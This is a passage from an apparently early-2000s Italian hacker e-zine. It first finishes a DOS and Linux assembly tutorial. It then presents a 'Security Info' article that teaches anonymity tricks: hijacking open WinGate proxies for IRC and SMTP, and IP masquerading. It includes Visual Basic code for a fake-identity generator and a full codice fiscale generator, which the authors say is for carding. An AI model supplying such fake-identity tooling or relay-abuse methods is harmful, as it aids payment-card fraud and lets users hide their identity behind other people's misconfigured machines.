int 21h ; chiamo dos

jc ErrorReading ; jump se il flag carry e' settato! -errore

mov bx,Handle ; metto l'handle in bx
mov ah,3Eh ; funzione 3Eh - close a file
int 21h ; chiamo dos

mov cx,100 ; lunghezza
mov si,OFFSET Buffer ; DS:SI - indirizzo della string
xor bh,bh ; video page - 0
mov ah,0Eh ; funzione 0Eh - write character

NextChar:

lodsb ; AL = prossimo carattere nella stringa
int 10h ; chiamo il bios
loop NextChar

mov ax,4C00h ; fine
int 21h

ErrorOpening:

mov dx,offset OpenError ; visualizza l'errore
mov ah,09h ; usando la funzione 09h
int 21h ; auindi chiamo dos
mov ax,4C01h ; chiudo il prog. se si verifica errorlevel =1
int 21h

ErrorReading:
mov dx,offset ReadError ; visualizza l'errore
mov ah,09h ; usando la funzione 09h
int 21h ; chiamo dos
mov ax,4C02h ; chiudo il prog. se si verifica errorlevel =1
int 21h

.data
Handle DW ? ; storiamo il file handle
FileName DB "C:\test.txt",0 ; il file da aprire
OpenError DB "An error has occured(opening)!$" ;i messaggi d'errore
ReadError DB "An error has occured(reading)!$" ; leggi su :PP
Buffer DB 100 dup (?) ; storiamo il buffer

END ; finisce qui ;)


Da notare l'utilizzo di jc ErrorReading che corrisponde ad un salto ad una
stringa d'avviso mov dx,offset ReadError che ci dice l'errore corrisponde al
Vb On error GoTo Next :)

Function 3Ch: Create file

Crea un file vuoto sul drive e con il nome specificati.

INPUT:

AH = 3Ch
CX = file attribute

bit 0 = 1 read-only file
bit 1 = 1 hidden file
bit 2 = 1 system file
bit 3 = 1 volume (ignored)
bit 4 = 1 reserved (0) - directory
bit 5 = 1 archive bit
bits 6-15 reserved (0)
DS:DX = segment:offset of ASCIIZ pathname
OUTPUT:

CF = 0 function is successful
AX = handle
CF = 1 an error has occurred

03h path not found
04h no available handle
05h access denied


Function 4Eh: find first matching file

Cerca il primo file con il nome specificato.

INPUT:

AH = 4Eh CX = file attribute mask (bits can be combined)


bit 0 = 1 read only
bit 1 = 1 hidden
bit 2 = 1 system
bit 3 = 1 volume label
bit 4 = 1 directory
bit 5 = 1 archive
bit 6-15 reserved
DS:DX = segment:offset of ASCIIZ pathname
OUTPUT:

CF = 0 function is successful
[DTA] Disk Transfer Area = FindFirst data block

The DTA block:

Offset Size in bytes Meaning

0 21 Reserved
21 1 File attributes
22 2 Time last modified
24 2 Date last modified
26 4 Size of file (in bytes)
30 13 File name (ASCIIZ)


Un esempio di come verificare l'esistenza di un file:

File DB "C:\file.txt",0 ; nome del file
mov dx,OFFSET File ; indirizo del file
mov cx,3Fh ; file mask 3Fh - qualsiasi file
mov ah,4Eh ; function 4Eh - trova primo file
int 21h ; chiamo dos

jc NoFile

; scrivo un msg dicebndoi che il file esiste!

NoFile:

; creo il file :)

Questo e' ,invece, un esempio per creare un file e scriverci dei dati!

Listing 8: CREATE.ASM
.model small
.stack
.code

mov ax,@data ; l'indirizzo base del data
mov ds,ax ; va in ds
mov dx,offset StartMessage
mov ah,09h
int 21h

mov dx,offset FileName ; metto l'offset del file in dx
xor cx,cx ; cancrello cx
mov ah,3Ch ; funzione 3Ch - creo un file
int 21h ; chiamo dos

jc CreateError ; salto on error

mov dx,offset FileName ; metto l'offset in dx
mov al,2 ; modalita' d'accesso- read and write
mov ah,3Dh ; funzione 3Dh - open the file
int 21h ; chiamo dos

jc OpenError ; salto se ci sono errori
mov Handle,ax ; salvo i valori dell handle

mov dx,offset WriteMe ; l'indirizzo delle info da scrivere
mov bx,Handle ; l'handle del file
mov cx,38 ; 38 bytes scritti
mov ah,40h ; funzione 40h - write to file
int 21h ; chiamo dos

jc WriteError ; salto on error
cmp ax,cx ; sono state scritte tutte?
jne WriteError ; se no ..errore

mov bx,Handle ; metti il file handle in bx
mov ah,3Eh ; funzioine 3Eh - close a file
int 21h ; chiamo dos

mov dx,offset EndMessage
mov ah,09h
int 21h

ReturnToDOS:

mov ax,4C00h ; end :)
int 21h

WriteError:
mov dx,offset WriteMessage
jmp EndError

OpenError:
mov dx,offset OpenMessage
jmp EndError

CreateError:
mov dx,offset CreateMessage

EndError:
mov ah,09h
int 21h
mov ax,4C01h
int 21h

.data
CR equ 13
LF equ 10

StartMessage DB "Creo un file NEW.TXT"
DB ,"in c:\$"

EndMessage DB CR,LF,"Creato! Controlla"
DB ,"per essere sicuro!.$"

WriteMessage DB "An error has occurred (WRITING)$"
OpenMessage DB "An error has occurred (OPENING)$"
CreateMessage DB "An error has occurred (CREATING)$"

WriteMe DB "abcd1234 :) prova prova by e4m",0
FileName DB "C:\new.txt",0 ; nome del file da scrivere
Handle DW ? ; store dell handle

END


Questo e' un esempio di come cancellare un file dopo aver verificato che
esiste:

Listing 9: DELFILE.ASM

.model small
.stack
.data

CR equ 13
LF equ 10

File db "C:\new.txt",0
Deleted db "Deleted file c:\new.txt! :)$"
NoFile db "c:\new.txt doesn't exits - exiting$"
ErrDel db "Can't delete file - forse e' protetto!!$"

.code

mov ax,@data
mov ds,ax

mov dx,OFFSET File ; l'indirizzo del file
mov cx,3Fh ; file mask 3Fh - any file
mov ah,4Eh ; funzione 4Eh - find first file
int 21h
jc FileDontExist

mov dx,OFFSET File ; DS:DX points del file saranno' cancellati!
mov ah,41h ; funzione 41h - delete file
int 21h
jc ErrorDeleting ; salta on error

mov dx,OFFSET Deleted ; visualizza msg
jmp Endit

ErrorDeleting:
mov dx,OFFSET ErrDel
jmp Endit

FileDontExist:
mov dx,OFFSET NoFile

EndIt:
mov ah,9
int 21h
mov ax,4C00h
int 21h
end



Ora non scrivo' l'intero prog ma il pezzo che interezza la funzione FindFirst
e FindNext :)

FileName db "c:\*.*",0 ;il file
DTA db 128 dup(?) ;buffer da storare del DTA
ErrorMsg db "An Error has occurred - exiting :($"

mov ah,1AH ; funzione 1Ah - set DTA

mov cx,3Fh ; attribute mask - all files
mov dx,OFFSET FileName ; DS:DX points ASCIZ filename
mov ah,4Eh ; funzione 4Eh - find first

LoopCycle: ;inizia ciclo

mov dx,OFFSET FileName ; DS:DX points to file name
mov ah,4Fh ; funzione 4fh - find next


mov di,OFFSET DTA+30 ; ES:DI points a DTA
mov cx,13 ; lunghezza del file
xor al,al ; azzero
rep stosb ; cancello DTA


-----------[ INTRO LINUX ASM
]---------------------------------------------------------------------------------------------------------------------------

INTEL ed il linguaggio Assembler di sintassi del AT&t sono molto differenti da
a vicenda nell'apparenza e questo condurrà a confusione quando un primo viene
attraverso sintassi del AT&t dopo che impara la sintassi dell'cIntel in primo
luogo, o viceversa. Così lascia l'inizio con i principi fondamentali.
Appunto per questo dedico un piccolo spazio anche per i programmatori asm in
LINUX.
In AT&t tuttavia i registri sono premessi con 'un %' 'ed i immed sono premessi
con una sintassi 'di $ '

Sintassi Intex:

mov eax,1
mov ebx,0ffh
int 80h

Sintassi AT&t:

movl $1,%eax
movl $0xff,%ebx
int $0x80

Il senso degli operandi in sintassi dell'cIntel è opposto da quello di
sintassi del AT&t. In sintassi dell'cIntel il primo operando è la destinazione
ed il secondo operando e' la fonte mentre in sintassi del AT&t il primo
operando è la fonte ed il secondo operando è la destinazione. Il vantaggio di
sintassi del AT&t in questa situazione e' evidente. Leggiamo da sinistra a
destra, scriviamo da sinistra a destra, in modo da questo senso e' naturale.

Sintassi Intex:

instr dest,source
mov eax,[ecx]

Sintassi AT&t:

instr source,dest
movl (%ecx),%eax

Gli operandi di memoria come visti sopra sono differenti inoltre. In sintassi
dell'cIntel il registro basso e' : [ 'e '] mentre in sintassi del AT&t e':
('e ') .


Sintassi Intex:

mov eax,[ebx]
mov eax,[ebx+3]

Sintassi AT&t:

movl (%ebx),%eax
movl 3(%ebx),%eax

AT&t forma per le istruzioni che coinvolgono i funzionamenti complessi e'
molto oscuro confrontato ad INTEL la sintassi. La forma di sintassi
dell'cIntel di questi e' segreg:[base+index*scale+disp]. La forma di sintassi
del AT&t e' %segreg:disp(base, l'indice, scale).


Sintassi Intex:

instr foo,segreg:[base+index*scale+disp]
mov eax,[ebx+20h]
add eax,[ebx+ecx*2h
lea eax,[ebx+ecx]
sub eax,[ebx+ecx*4h-20h]


Sintassi AT&t:

instr %segreg:disp(base,index,scale),foo
movl 0x20(%ebx),%eax
addl (%ebx,%ecx,0x2),%eax
leal (%ebx,%ecx),%eax
subl -0x20(%ebx,%ecx,0x4),%eax

Le Syscalls ,possono essere eseguite tramite il servizio di interruzione del
linux: $0x80 interno.
Per tuttw le syscalls, il numero dello syscall va in %eax. Per gli syscalls
che hanno piu' meno di sei args, i args vanno in %ebx, %ecx, %edx, %esi, %edi
nell'ordine. Il valore di ritorno dello syscall e' memorizzato in %eax.
Quindi l' fd va in %ebx, il buf va in %ecx, il conteggio va in %edx e
SYS_write va in %eax. Cio'e' seguito da un $0x80 interno che esegue il
syscall. Il valore di ritorno dello syscall e' memorizzato in %eax.
Il numero dello syscall puo' essere in trovato/usr/include/sys/syscall.h. Le
macro sono definite come nome di SYS_<syscall > cioè SYS_exit, SYS_close, ecc.
Ecco a voi un Hello Word scritto in asm per linux:


$ cat write.s
.data
hw:
.string "hello world\n"
.text
.globl _start
_start:
movl $SYS_write,%eax
movl $1,%ebx
movl $hw,%ecx
movl $12,%edx
int $0x80
movl $SYS_exit,%eax
xorl %ebx,%ebx
int $0x80

$ gcc -c write.s
$ ld -s -o write write.o
$ wc -c ./write
408 ./write


Certamente qui cambiano molte cose che nemmeno conosco! In effetti non
cambiano molte cose , ma come ben sappiamo basta una virola in piu' che il
nostro compilatore ci da un errore! Ma e' cosi' in tutti i linguaggi! Almeno
vi ho detto qualcosa pure per linux!


-----------[ FINE
]---------------------------------------------------------------------------------------------------------------------------
Quello che c'era da capire e' stato capito vero?? :) Dai.. non e' poi un
linguaggio troppo difficile , se poi ti aspettavi qualcosa come :

@echo off
echo W la figa :)

Hai scelto il tute sbagliato! Comunque ora certamente ne saperai un po di piu!
Vabbe' se le sapevi fa niente ,mi son divertito a scribverlo anche perche' ho
imparato alcune cose e mi sono informato! Bella esperienza anche se un po'
lunghetta :PP

Vi ragalo un bel ftp :

ftp://x2ftp.oulu.fi/pub/msdos/programming/docs/interXX[a-d].zip

Qui troverete il magico libro : "Ralf Brown's Interrupt List" gratis!! Sapete
gia' cosa farne, vero!! ;-)

dove xx e' la versione,l' Elenco delle istruzioni invece:

Se avete TASM, il "Borland Turbo Assembler Quick Reference" contiene l'elenco
delle istruzioni e delle temporizzazioni aggiornato fino al 486. Anche
l'"Intel Pentium Family User's Manual: Volume 3" e' ugualmente utile.
Un libro che copre entrambi gli argomenti ed e' anche un valido riferimento
generale e':

The Revolutionary Guide to Assembly Language
Vitaly Maljugin, Jacov Izrailevich et al
Wrox Press
ISBN: 1-874416-12-5

Qui finisce pure quest'altro tute! Rigrazio tutti quelli che hanno prestato un
po del loro tempo per darmi una mano!

__________________________________________________________________
|"*"|Coded by e4m____________________________________________|*|-|x|
|101010101010101010101010101010101010101010101010101010101010101010|
|010101010101010101010101010101010101010101010101010101010101010101|
|010101010101010111010101001000100010100100101001010101010410101010|
|10| \ 01010101 / \101010101/ \/ \01000|
|10| ________| 01010101/ /| |01010101/ \1011|
|10| |________ 010101 / /0| |0101010| /\ /\ |100|
|01| | 101011/ /01| |0101010| /0 \ /01\ |110|
|10| ________| 10100/ /010| |0101010| |01 \/010 | |010|
|01| |0101010110101/ /0100| |0101001| |010101010| |110|
|01| |01010101010_/ \0110| \____ | |010101010| |011|_____
|10| |/ \ | \01010101/ |100|!!!!/
|01|______________/|_______ ___________||_____\010101/_____|011|!!!/
|011010010101010101011101010| |010101001010101010101010101010101|!!/
|010101011010101100100101010| |010101010101010101010101010101010|!/
|010010100101001010010101001|____|010101011101010101010101001101010|/
--------------------------------------------------------------------

E4M


|--------------------------------------------------------|
|Art. N° <19> : "Security Info 2002 vol.1" di e4m e Slash|
|--------------------------------------------------------|



Name: Security info 2002
Ideated by :e4m
Written by :e4m,Slash
Crew: Www.bfc.too.it -
Mirror: Www.e4m.linux-dude.coM

Info:
------------------------------------------------------------------------------------------------------------------------------------------------------------
Questo tutorial , Scritto da e4m e _Slash_ Membri della #bfc - Black Force
Crew - , e' a scopo assolutamente illustrativo vi mostreremo attraverso la
programmazione come crarci un buon proggy che generi identita' false
(CodeFiscale,Nome,Cognome,Lavoro,Indirizzo,Telefono,Mail,Carding).Spiegheremo
inoltre la funzione di Pgp (Pretti good privacy( e qualche altro algoritmo
come l'Md5 Quello di Huffman..Cifraure tecniche etc.. VI diVerTiRetE!!!..
Prima di cominciare e' bene dire che non ci assumiamo alcuna responsabilita'
di quanto potete combinare! Useremo la programmazione Basic E c! Quindi
munitevi,e quando siete pronti fate un fischio! ..Ora divideremo questo testo
in varie parti per renderlo piu' leggibile e gradevle! Best Wiev With Terminal
(in win) :
------------------------------------------------------------------------------------------------------------------------------------------------------------

* Menu Volume 1:
(SecuritY Info -Mask-Coding)
+----------------------------------+------+
|1) Varie ed eventuali | e4m |
+----------------------------------+------+
|2) Iniziamo col Visual Basic | slash|
+----------------------------------+------+
|3) Costruiamo l'algo del CodeFisc.| e4m |
+----------------------------------+------+
|4) Prime delucidazioni | e4m |
+----------------------------------+------+

* Menu Volume 2:
(SecuritY Info -Algoritm-Code Tecnik-)
+----------------------------------+------+
|1) Sistemi e algoritmi,crittazione| e4m |
+----------------------------------+------+
|2) Ultime delucidazioni! | e4m |
+----------------------------------+------+

*Menu' Volume B0nU$:
(SecuritY Info -New System Code-)
+-----------------------+-----+
|1) Huffman Cifrature | e4m |
+-----------------------+-----+
|3) Chiudere in bellezza| e4m |
+-----------------------+-----+



+-----------------------+
|1| vARIE eD eVENTUALI |
+-----------------------+

Oggi come oggi ,definire Privacy e' sbagliato quasi del tutto non esiste una
veria e propria Intimita' in rete ,dovunque finirete vi troverete loggati lo
stesso se userete un proxy che non fanno altro che reidirizzare l'ip che
verra` mandato al proxy, che vi si colleghera`, scarichera`
la pagina principale e ve la mandera`. L'IP address registrato dal sito sara`
quello del proxy, in quanto e` stato il proxy server a collegarsi al
sito, non voi risalire ad una catena o usare un back trace e' una pippata il
sysadmin avra' il vostro ip e molte altre informazioni su di voi (da quale
pagina provenivate, che tipo e versione di browser utilizzavate, ecc).Vi diro'
di piu' sui proxy: Il Proxy Server puo' essere utilizzato come un mezzo poco
costoso per collegare una intera azienda attravaerso un solo indirizzo IP.
Puo' essere usato inoltre per permettere connessioni "inbound" piu' sicure
alla vostra rete interna da Internet. Usando Proxy Server, sarete capaci di
proteggere meglio la vostra rete dalle intrusioni. Puo' essere configurato per
permettere alla vostra intera rete privata di accedere ad Internet, e allo
stesso tempo bloccare ogni tentativo di connessione in entrata.
.. Inoltre la shell e' ugualmente (piu' pericolosa) e rintracciabile Ma e'
anche un mezzo di mask ..Funziona come I proxy!. Diciamo che esiste una sorta
di privacy molto piccola. Forse una piccola alternativa solo i wingate.. vI
spiego brevemento cosa sono:
WinGate e' un programma per Win utilizzato nelle LAN per far accedere diversi
computer alla rete per mezzo di un solo modem e di un computer che, come si
dice, fa da gateway, da ponte, diciamo. Tale programmino apre una porta 23
(quella di telnet :) suicomputer in cui e'installato: tramite tale porta e il
telnet noi avremo un account, e tramite questo potremo collegarci da altre
parti, spedire email,usare IRC sempre con l'IP del computer che ci ospita (ah,
cosa importante, spesso questo programma non logga nemmeno chi si collega a
lui, quindi potete stare piu' tranquilli dei proxy MA non TROPPO. Trovarli e'
difficile... o fate uno scan con il famoso WingateScan.. ma il bello viene ora
: Molti server IRC rifiutano le connessioni da parte di WinGates e bannano chi
fa richieste di connessioni di questo tipo: tali rifiuti si chiamano
'g-line'.ma.. se scrivete su un programma IRC (mIRC dovrebbe andar bene):
/stats g vi si dovrebbero fornire una serie di IP con una comunicazione
del tipo "xxx.xxx.xxx.xxx insecure WinGate rejected" .. Avete l'ip ora pero'
come usarlo? Usiamo telnet connettiamo all'ip porta 23! vi da' il benvenuto
una bella scritta 'WinGate>'... si puo' anche fare da Irc,funziona come tutti
i Bouncer /server xxx.xxx.xxx.xxx 23.. Dopodiche' collegatevi al vostro server
IRC preferito con /raw irc.azzurranet.org (RAW tipo di comunicazione) Ora
siete "gateati"! e indicate il vostro nick e il vostro username (/raw nick
Lol) (/raw user Lol 0 0 :SburroNet) a volte alcui programmi irc potrbbero
usare /quote al posto di /raw ! Mandare mail col Wingate e' un altra facile
cavolata basta colegarsi alla 25 (SMTP) mail.Figa.com 25 .. Userete i sliti
comandi Smtp tipo HELO 'nome del host' , MAIL FROM: 'indirizzo' . Abbiamo
visyto come funzionano i Wingate lo stesso potrete essere scovati! Anche i
remailers sono spesso usati per reindirizare l'ip ad una nuova macchina e
spessono sono usati con Pgp ..ne parleremo nel secondo volume!Ritornando
all'anonimita' .Ora incominciamo con il basic lascio txt e tastiera a Slash
che vi spieghera' come creare un semplice programmino che Randomizzi una serie
di dati Nome Cogmnme pass ..(Ossia un creatore di identita' false)!

------------------------------------------------------------------------------------------------------------------------------------------------------------
+------------------------------+
|2| Iniziamo col Visual Basic |
+------------------------------+

Bene... allora iniziamo :þ
Ora spiego le principali funzioni di un programma che crea false identità.
Questo prog. non fa altro che randomizzare dei numeri ke sono associati ad un
nome (ad esempio se il numero randomizzato è 1 il nome è Marco, se invece
viene fuori il 2 il nome è Giulio ecc...), quindi quello ke rompe di + fare è
scrivere questa "infinita" lista di nomi e associarli ognuno ad un numero.
La funzione randomize è piuttosto semplice:

Randomize
variabile = Int(Rnd(1) * 20 + 1)

Questo codice permette di randomizzare i numeri da 1 a 20.
Quindi in poche parole bisogna fare una cosa del genere:

Randomize
nome1 = Int(Rnd(1) * 20 + 1)

If nome1 = 1 Then txtNome.Text = "Marco"
If nome1 = 2 Then txtNome.Text = "Giulio"
If nome1 = 3 Then txtNome.Text = "Mario"
If nome1 = 4 Then txtNome.Text = "Giuseppe"
If nome1 = 5 Then txtNome.Text = "Roberto"
ecc...

Per quanto riguarda la data di nascita, dovete solo stare attenti a quei mesi
che hanno 30 giorni invece che 31 (oppure a febbraio ke ne ha 28 :P), ma
questo non è un problema, infatti dopo avere randomizzato dei numeri in due
variabili (in questo caso mm=mese gg=giorno) basta inserire queste semplici
righe di codice:

If mm = 2 And gg > 28 Then fallo 'se il mese è il 2(febbraio) e il giorno è
maggiore di 28 'allora torna a "fallo" (in
questo caso fallo sarebbe il 'sub dove
vengono randomizzati gg e mm)
If mm = 11 And gg > 30 Then fallo
If mm = 4 And gg > 30 Then fallo
If mm = 6 And gg > 30 Then fallo
If mm = 9 And gg > 30 Then fallo

Tutto qui... non è difficile, l'importante è ragionare sulle kose e sui
problemi incontrati e cercare di risolverli con quello ke si sa...
Adesso qui sotto è riportato il sorgente di un generatore di codici fiscali
utile per scrivere un programma che crea false identità.

------------------------------------------------------------------------------------------------------------------------------------------------------------
+----------------------------------+
|3| Algoritmo del codice fisacale |
+----------------------------------+

Il codice fiscale e' molto importante per chi vuole fare carding o cose
simili.. Esso non corrisponde al nome all'eta' cognome Logico!!! E' un buon
passo per iniziare il nostro lavoro all'anonimity e' una delle chiavi
primarie!!.. Che implementerete nel Vb per completare il tutto! .Ora Ci sono
da tenere a mente 6 cose:

Cognome: Si prendono le tre prime consonati
Nome: Si prendono le prime tre consonanti
Anno di nascita: Si prendono le ultime 2 cifre
Mese di nascita': E' identificato da una lettera
Per: { Gennaio A Febbraio B Marzo C Aprile D Maggio E Giugno H
Luglio L Agosto M Settembre P Ottobre R Novembre S Dicembre T }
Giono di nascita: si usa il numero del giorno (per le persone di sesso
femminile viene aumentato di 40)
Luogo di nascita: e' identificato con sigle stabilite dal ministero delle
finanzre ;Esempio milano e' F205 Ho allegato una Tabella-database che
Funzionera' assieme al nostro amico Vb!
Il codice e' completato da una lettera della di controllo che ora verra'
spiegato come calcolarla! Ora faccio prima un esempio:

Nome: Roberto Cognome: Ferrini Nato a : Roma Mese : C Anno :74 Giorno :25
Allora ..Si parte sempre dal cognome poi nome anno mese giono luogo!

[ F R R R B R 7 4 C 2 5 H 5 0 1 V ]

Ingredienti:
-----------------------------------------------
*7 tetxt Box
-txtCodiceFiscale
-txtCognome
-txtNome
-txtDataNascita
-txtComune
-txtProvincia
-txtCodice
*1comboBox
-cboSesso
*2command
-cmdElabora
-cmdExit

Ricetta:
------------------------------------------------

Option Explicit

Public Db As Database
Public Comuni As Recordset

Private Sub cboSesso_Change()

cmdElabora.Enabled = True

End Sub

Private Sub cboSesso_Click()

cmdElabora.Enabled = True

End Sub

Private Sub cmdElabora_Click()

If IsDate(txtDataNascita.Text) = False Then
MsgBox "La data di nascita non e' valida."
Else
txtCodiceFiscale = CalcoloCodFis(txtCognome.Text, txtNome.Text,
CVDate(txtDataNascita.Text), cboSesso.Text, Trim(txtCodice.Text))
cmdElabora.Enabled = False
End If

End Sub
Private Sub cmdExit_Click()

Dim Risposta As VbMsgBoxResult

Risposta = MsgBox("Sicuri di voler uscire?", vbYesNo Or vbQuestion,
"Uscita")
If Risposta = vbYes Then
Comuni.Close
Db.Close
End
End If

End Sub
Private Sub Form_Load()

cboSesso.AddItem "M"
cboSesso.AddItem "F"
cboSesso.ListIndex = 0
cmdElabora.Enabled = False

On Error GoTo ErrFas

Set Db = OpenDatabase(App.Path & "\Comuni.mdb", False, False)
Set Comuni = Db.OpenRecordset("Comuni")
Comuni.Index = "COMUNI2L"

Exit Sub

ErrFas:

MsgBox ("FasMsg: " & Err.Number & " " & Err.Description)
Err.Clear

End Sub
Function CalcoloCodFis(ByVal Cognome As String, ByVal Nome As String, ByVal
DataNascita As Date, ByVal Sesso As String, ByVal Provincia As String) As
String

Dim Temp As String
Dim Vocali As String
Dim Consonanti As String
Dim I As Integer
Dim AppoNum As Long
Dim TempNum As Long
Dim TxtCodFis As String

TxtCodFis = ""

Cognome = UCase(Cognome)
Vocali = ""
Consonanti = ""
For I = 1 To Len(Cognome)
If InStr("AEIOU", Mid(Cognome, I, 1)) Then
Vocali = Vocali & Mid(Cognome, I, 1)
ElseIf InStr("BCDFGHJKLMNPQRSTVWXYZ", Mid(Cognome, I, 1)) Then
Consonanti = Consonanti & Mid(Cognome, I, 1)
End If
If Len(Consonanti) = 3 Then Exit For
Next
If Len(Consonanti) < 3 Then Consonanti = Consonanti & Left(Vocali, 3 -
Len(Consonanti))
If Len(Consonanti) < 3 Then Consonanti = Consonanti & String(3 -
Len(Consonanti), "X")
TxtCodFis = Consonanti

Nome = UCase(Nome)
Vocali = ""
Consonanti = ""
For I = 1 To Len(Nome)
If InStr("AEIOU", Mid(Nome, I, 1)) Then
Vocali = Vocali & Mid(Nome, I, 1)
ElseIf InStr("BCDFGHJKLMNPQRSTVWXYZ", Mid(Nome, I, 1)) Then
Consonanti = Consonanti & Mid(Nome, I, 1)
End If
Next I
If Len(Consonanti) >= 4 Then
Consonanti = Left(Consonanti, 1) & Mid(Consonanti, 3, 2)
ElseIf Len(Consonanti) = 3 Then
' Non fa niente, solo per impedire che questa possibilità cada
nell'ELSE finale
Else
Consonanti = Left(Consonanti & Vocali, 3)
If Len(Consonanti) < 3 Then Consonanti = Left$(Consonanti & "XXX", 3)
End If
TxtCodFis = TxtCodFis & Consonanti
TxtCodFis = TxtCodFis & Right(Format(Year(DataNascita), "0000"), 2)
TxtCodFis = TxtCodFis & Mid("ABCDEHLMPRST", Month(DataNascita), 1)

If UCase(Sesso$) = "F" Then
TxtCodFis = TxtCodFis & Format$(Day(DataNascita) + 40, "00")
Else
TxtCodFis = TxtCodFis & Format$(Day(DataNascita), "00")
End If

TxtCodFis = TxtCodFis & Provincia

TempNum = 0
I = 1
Do
AppoNum =
InStr("B1A0KKPPLLC2QQD3RRE4VVOOSSF5TTG6UUH7MMI8NNJ9WWZZYYXX", Mid(TxtCodFis,
I, 1))
TempNum = TempNum + ((AppoNum - 1) And &H7FFE) / 2
I = I + 1
If I > 15 Then Exit Do
AppoNum =
InStr("A0B1C2D3E4F5G6H7I8J9KKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ", Mid(TxtCodFis,
I, 1))
TempNum = TempNum + ((AppoNum - 1) And &H7FFE) / 2
I = I + 1
Loop
TempNum = TempNum Mod 26
TxtCodFis = TxtCodFis & Mid("ABCDEFGHIJKLMNOPQRSTUVWXYZ", TempNum + 1, 1)

CalcoloCodFis = TxtCodFis

End Function

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Dim Risposta As VbMsgBoxResult

Risposta = MsgBox("Sicuri di voler uscire?", vbYesNo + vbQuestion,
"Uscita.")
If Risposta = vbYes Then
Comuni.Close
Db.Close
Else
Cancel = 1
End If

End Sub

Private Sub txtCognome_Change()

cmdElabora.Enabled = True

End Sub

Private Sub txtComune_Change()

cmdElabora.Enabled = True

End Sub

Private Sub txtComune_KeyUp(KeyCode As Integer, Shift As Integer)

Dim S As String
Dim TmpStr As String
Dim Colore As Long

On Error GoTo ErrFas

Colore = 0
TmpStr = Trim(txtComune.Text)
If TmpStr = "" Then
txtComune.Tag = TmpStr
Exit Sub
End If
If Len(TmpStr) = 1 Then S = TmpStr
Comuni.Seek ">=", TmpStr
If Not Comuni.EOF And Not Comuni.NoMatch Then
If UCase(TmpStr) = UCase(Mid(Comuni!COMU_DESCR, 1, Len(TmpStr))) Then
If Len(TmpStr) > Len(txtComune.Tag) Then
txtComune.Text = Comuni!COMU_DESCR
txtComune.SelStart = Len(TmpStr)
txtComune.SelLength = Len(txtComune.Text) - (Len(TmpStr))
txtProvincia.Text = Comuni!COMU_PROV
txtCodice.Text = Comuni!COMU_COD
End If
Else
If txtComune.ForeColor = 0 Then MsgBox "Comune non in elenco.",
vbExclamation, "Attenzione!"
Colore = &H80&
txtProvincia.Text = "?"
txtCodice.Text = "?"
txtComune.SetFocus
End If
End If
If txtComune.ForeColor <> Colore Then txtComune.ForeColor = Colore
txtComune.Tag = TmpStr

Exit Sub

ErrFas:

MsgBox ("FasMsg: " & Err.Number & " " & Err.Description)
Err.Clear

End Sub

Private Sub txtDataNascita_Change()

cmdElabora.Enabled = True

End Sub

Private Sub txtDataNascita_LostFocus()

If IsDate(txtDataNascita.Text) = False Then
txtDataNascita.ForeColor = &H80&
Else
txtDataNascita.ForeColor = 0
End If

End Sub

Private Sub txtNome_Change()

cmdElabora.Enabled = True

End Sub


------------------------------------------------------------------------------------------------------------------------------------------------------------
+------------------------+
|4| Prime delucidazioni |
+------------------------+

Le cose ora dovrebbero' gia esservi piu chiare (almeno spero!) Abbiamo visto
come essere un po' anonimi oppure se hakkiamo un sitoweb saremo anonimi!
Quindi abbiamo visto I Gatway Wingate Proxy Dopo ci collegheremo al Pgp con i
Remailers ,infine ora vi spieghero' come funziona l' IP-MASQERADING.
Innanzitutto l'IpMasquerading e' una funzione di rete dei sistemi *nix che
permette di dare accesso ad Internet ai computer 'host' di una LAN . Queste
funzioni sono state implementate nel Kernel 2.2.x in fase finale ma i piu
vecchiotti noteranno che gia c'erano since 1.3.x. Quindi..mettiamo che il PC
LINUX , con la funzione IPM installata, abbia accesso al suo provider con IP
111.222.333.444 tramite SLIP o PPP...allora il PC host deve, per entrare in
Internet, 'passare' dal suo GATEWAY cioe' il PC con linux effettivamente
collegato ad Inet Ad esempio (3modem - Linux (GATEWAY) SLIP/PPP ) Quindi:

SLIP/PPP (gateway)
[Client] modem ----------- modem2[LINUX] -----------> modem3

Per abilitare cio' basta dare il cmd (Yes) quando compilate il kernel:

* Prompt for development and/or incomplete code/drivers
CONFIG_EXPERIMENTAL
- this will allow you to select experimental IP Masquerade code compiled
into the kernel

* Enable loadable module support
CONFIG_MODULES
- allows you to load ipmasq modules such as ip_masq_ftp.o

* Networking support
CONFIG_NET

* Network firewalls
CONFIG_FIREWALL

* TCP/IP networking
CONFIG_INET

* IP: forwarding/gatewaying
CONFIG_IP_FORWARD

* IP: firewalling
CONFIG_IP_FIREWALL

* IP: masquerading
CONFIG_IP_MASQUERADE

* IP: ipportfw masq support
CONFIG_IP_MASQUERADE_IPPORTFW

* IP: ICMP masquerading
CONFIG_IP_MASQUERADE_ICMP

* IP: always defragment
CONFIG_IP_ALWAYS_DEFRAG

* Dummy net driver support
CONFIG_DUMMY

Aggiungere ora in /etc/rc.d/rc.local la seguente per far caricare i moduli in
/ lib/modules/2.2.x/ipv4/

/sbin/depmod -a
/sbin/modprobe ip_masq_ftp
/sbin/modprobe ip_masq_raudio
/sbin/modprobe ip_masq_irc

Finalmete configurato il Masquerade in Linux! Ora vediamo come usarlo!:


Ora un ulteriore esempio : dove Client1 Client2 Client3sono i PC host e Linux
e' il GATEWAY:

Client1-----+
|
Client2-----|-->Linux masq-gate---> Internet connection
|
Client3-----+

Rispettivamente: 122.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 e si
deve assegnare 192.168.1.1 al pc GATEWAY!


Da win : Pannello di di controllo--->Reti --->Indirizzo IP
Mettete 192.168.1.x (1<x<255 ossia l'ultimi devono essere compresi da 1 a 255)
in indirizzo IP e 255.255.255.0 sotto (subnet mask)

------------------------------------------------------------------------------------------------------------------------------------------------------------

E' finito qui il primo volume ringrazio Slash e Domino_Gr, per i moduli e la
configurazione del masq! E zizzo81 per Il database Code Fiscal! Nel prossimo
volume troverai qualcosa su Pgp Md5 ed altro sulla privacy! Byez all!

-End 0f 1^sT B0ok-

|------------------------------------------------|
|Art. N° <20> : "Security Info 2002 vol.2" di e4m|
|------------------------------------------------|


+----------------------------------+
|1) Sistemi e algoritmi,crittazione|
+----------------------------------+
Se avete trovato il volume 2 interessante troverete altrettanto carino questo
secondo in cui vi parlero' di Crittazzione! Qualcumo mi dira' cosa centra con
l'anonimita' e la sicurezza!? Io vi diro' centra eccome!! La crittografia
(scrittura nascosta) e' una scienza antica che si occupa dei metodi di
cifratura delle informazioni, al fine di rendere trasparente i messaggi tra un
